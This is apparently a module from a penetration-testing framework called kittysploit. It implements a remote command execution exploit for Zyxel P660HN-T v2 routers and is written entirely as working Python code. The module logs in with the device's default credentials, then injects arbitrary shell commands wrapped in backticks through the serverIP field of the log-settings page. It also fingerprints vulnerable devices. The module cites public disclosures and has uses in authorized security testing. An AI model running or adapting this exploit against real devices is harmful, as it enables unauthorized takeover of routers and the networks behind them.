Zyxel P660HN-T v2 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel P660HN-T v2 RCE"""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Zyxel P660HN-T v2 RCE",
        "description": (
            "Remote command execution in Zyxel P660HN-T V2 devices via blind command "
            "injection in log settings (commands up to ~28 characters)."
        ),
        "author": ["Pedro Ribeiro", "Marcin Bury"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "http://seclists.org/fulldisclosure/2017/Jan/40",
            "https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt",
            "https://blogs.securiteam.com/index.php/archives/2910",
        ],
        "tags": ["iot", "router", "rce", "unauth", "zyxel"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("supervisor", "Username for the web interface")
    password = OptString("zyad1234", "Password for the web interface")

    def login(self) -> bool:
        credentials = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
        path = f"/cgi-bin/index.asp?{credentials}"
        data = {"Loginuser": "supervisor", "Prestige_Login": "Login"}
        response = self.http_request(method="POST", path=path, data=data)
        return response is not None and response.status_code == 200

    def execute(self, cmd: str) -> str:
        payload = f"1.1.1.1`{cmd}`&#"
        data = {
            "logSetting_H": "1",
            "active": "1",
            "logMode": "LocalAndRemote",
            "serverPort": "123",
            "serverIP": payload,
        }
        self.http_request(
            method="POST",
            path="/cgi-bin/pages/maintenance/logSetting/logSet.asp",
            data=data,
        )
        return ""

    def check(self):
        response = self.http_request(method="GET", path="/js/Multi_Language.js")
        if response and "P-660HN-T1A_IPv6" in response.text:
            return {"vulnerable": True, "reason": "Device fingerprint matched", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False
        if not self.login():
            print_error("Authentication failed")
            return False
        print_success("Target appears vulnerable")
        print_status("Blind command injection — response is not available.")
        return self.handler_execute()